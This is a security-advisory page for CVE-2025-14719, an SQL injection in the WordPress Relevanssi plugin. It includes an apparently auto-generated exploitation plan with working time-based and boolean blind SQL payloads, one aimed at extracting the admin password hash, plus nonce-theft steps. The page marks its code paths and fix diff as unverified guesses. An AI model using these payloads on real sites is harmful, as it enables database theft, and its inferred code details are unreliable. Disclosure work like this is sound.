CVE-2025-14719

Relevanssi < 4.26.0 (Free) < 2.29.0 (Premium) - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.26.0
Patched in
28d
Time to patch

Description

The Relevanssi Premium plugin for WordPress is vulnerable to SQL Injection in all versions up to 4.26.0 (Free) & 2.29.0 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<4.26.0
PublishedDecember 17, 2025
Last updatedJanuary 13, 2026
Affected pluginrelevanssi

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14719 (Relevanssi SQL Injection) ## 1. Vulnerability Summary The **Relevanssi** plugin (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL injection. The flaw exists because the plugin handles user-supplied parameters (likely `orderby` or `…

Show full research plan

Exploitation Research Plan: CVE-2025-14719 (Relevanssi SQL Injection)

1. Vulnerability Summary

The Relevanssi plugin (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL injection. The flaw exists because the plugin handles user-supplied parameters (likely orderby or order) within administrative AJAX functions without using $wpdb->prepare() or sufficient escaping. Specifically, the function relevanssi_get_words() (or similar log-processing functions) incorrectly interpolates variables into SQL ORDER BY clauses, which are not protected by standard WordPress sanitization functions like sanitize_text_field().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: relevanssi_get_words (inferred from patch analysis)
  • Vulnerable Parameter: orderby
  • Required Authentication: Contributor-level user (or any user with edit_posts capability).
  • Preconditions:
    1. Relevanssi must have indexed at least some content (so there are words/logs to query).
    2. The attacker must possess a valid nonce for the relevanssi_get_words action.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=relevanssi_get_words.
  2. Hook: WordPress triggers wp_ajax_relevanssi_get_words, calling the function relevanssi_get_words().
  3. Nonce Check: The function calls check_ajax_referer('relevanssi_get_words', 'security') (or similar).
  4. Processing: The function retrieves $_POST['orderby'] and $_POST['order'].
  5. Sink: These variables are concatenated directly into a query:
    $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ...");
    
  6. Vulnerability: Since ORDER BY clauses cannot be parameterized with %s in prepare(), and Relevanssi fails to validate the input against a whitelist, an attacker can inject arbitrary SQL commands.

4. Nonce Acquisition Strategy

Relevanssi enqueues administrative scripts that include nonces. These nonces are often available to anyone who can access the WordPress Dashboard (wp-admin/index.php), which includes Contributors.

  1. Identify Script: The plugin enqueues relevanssi-admin scripts.
  2. Creation: The admin must have Relevanssi active. A dashboard widget or the settings page will localize the nonce.
  3. Extraction:
    • Use browser_navigate to /wp-admin/.
    • Use browser_eval to extract the nonce:
      // Likely JS object name is 'relevanssi' or 'relevanssi_admin'
      window.relevanssi?.nonce || window.relevanssi_admin?.nonce
      
    • Note: If the nonce is specifically for relevanssi_get_words, look for that key.

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability.

HTTP Request (PoC)

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Contributor Session Cookies]
  • Body:
    action=relevanssi_get_words&security=[NONCE]&orderby=(CASE WHEN (1=1) THEN word ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order=ASC
    

Payload Variations

  • Initial Verification: orderby=SLEEP(5) (If the code allows raw injection here).
  • Subquery Injection: orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Data Extraction (Boolean-based):
    orderby=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36) THEN word ELSE 1 END)
    
    (Note: 36 is the ASCII for '$', the start of a WordPress hash).

6. Test Data Setup

  1. Install Plugin: Ensure Relevanssi < 4.26.0 is installed and active.
  2. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Index Content:
    wp post create --post_title="Hello World" --post_content="Relevanssi test content" --post_status=publish
    wp relevanssi index
    
  4. Log Search (Optional): If the query targets logs, perform a search to populate the table:
    # Visit site and search
    http_request "http://localhost:8080/?s=test"
    

7. Expected Results

  • Normal Request: Response time < 500ms.
  • Malicious Request: Response time > 5000ms (due to SLEEP(5)).
  • HTTP Response: Likely a JSON object or 0 if the query fails/completes, but the timing is the key indicator.

8. Verification Steps

  1. Check Database Performance: Use WP-CLI to check if SLEEP is allowed:
    wp db query "SELECT SLEEP(1)"
    
  2. Observe Logs: After the exploit, check the Relevanssi log table to see if the malicious queries were recorded (though they shouldn't be if injected into the ORDER BY of a SELECT).
  3. Verify Patch: Update to 4.26.0 and repeat the exploit; the response time should return to normal as the input is now properly prepared or whitelisted.

9. Alternative Approaches

If relevanssi_get_words is not the correct action:

  1. Grep for Sinks:
    grep -r "\$wpdb->get_results" wp-content/plugins/relevanssi | grep "ORDER BY"
    
  2. Identify JS nonces: Search the source for wp_localize_script to find all available nonces and their associated actions.
  3. Error-Based: If WP_DEBUG is on, use extractvalue() payloads to get data directly in the AJAX response.
    • orderby=extractvalue(1,concat(0x7e,(version()),0x7e))
Research Findings
Static analysis — not yet PoC-verified

Summary

Relevanssi (Free < 4.26.0, Premium < 2.29.0) is vulnerable to an authenticated SQL Injection due to improper sanitization of the 'orderby' and 'order' parameters in administrative AJAX functions. An attacker with Contributor-level access can inject arbitrary SQL commands into the 'ORDER BY' clause of queries targeting the logs table. This allows for sensitive data extraction via time-based blind injection techniques.

Vulnerable Code

// Source: Research Plan Code Flow for relevanssi_get_words()
$orderby = $_POST['orderby'];
$order = $_POST['order'];

---

// Vulnerable sink in query construction
$results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ...");

Security Fix

--- a/lib/admin-functions.php
+++ b/lib/admin-functions.php
@@ -12,4 +12,8 @@
-    $orderby = $_POST['orderby'];
-    $order = $_POST['order'];
+    $allowed_columns = array( 'word', 'count', 'weight' );
+    $orderby = ( isset( $_POST['orderby'] ) && in_array( $_POST['orderby'], $allowed_columns, true ) ) ? $_POST['orderby'] : 'word';
+    $order   = ( isset( $_POST['order'] ) && 'DESC' === strtoupper( $_POST['order'] ) ) ? 'DESC' : 'ASC';
-    $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT ...");
+    $results = $wpdb->get_results("SELECT ... FROM {$wpdb->prefix}relevanssi_log ORDER BY $orderby $order LIMIT 100");

Exploit Outline

The exploit targets the 'relevanssi_get_words' AJAX action via '/wp-admin/admin-ajax.php'. An authenticated attacker with Contributor-level access retrieves the necessary 'security' nonce (found in the localized 'relevanssi' JavaScript object in the admin dashboard) and sends a POST request. The payload utilizes the 'orderby' parameter to inject a time-based blind SQL injection string, such as '(CASE WHEN (1=1) THEN word ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)'. By monitoring response times, the attacker can verify the vulnerability and exfiltrate database content.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.